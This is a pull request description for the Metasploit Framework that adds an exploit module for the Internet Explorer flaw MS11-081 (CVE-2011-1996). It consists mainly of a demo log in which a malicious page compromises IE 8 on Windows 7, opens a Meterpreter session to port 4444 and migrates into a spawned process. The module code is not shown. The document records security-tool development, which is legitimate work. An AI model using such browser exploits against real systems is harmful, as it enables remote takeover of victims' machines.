rapid7/metasploit-framework — pull request #1279 by wchen-r7 (2013-01-09 22:04:50+00:00)
Title: Add MS11-081

Ivan Fratric's CVE-2011-1996. Demo:

msf exploit(ms11_081_option) > [*] Server started.
[*] 10.6.255.98 ms11_081_option - Requesting: /Y0NO4UEM
[*] 10.6.255.98 ms11_081_option - Target selected as: IE 8 on Windows 7
[*] 10.6.255.98 ms11_081_option - Using JRE ROP
[*] 10.6.255.98 ms11_081_option - Sending HTML...
[*] Sending stage (752128 bytes) to 10.6.255.98
[*] Meterpreter session 2 opened (10.6.255.89:4444 -> 10.6.255.98:49281) at 2013-01-09 16:04:18 -0600
[*] Session ID 2 (10.6.255.89:4444 -> 10.6.255.98:49281) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2940)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1692
[+] Successfully migrated to process

msf exploit(ms11_081_option) >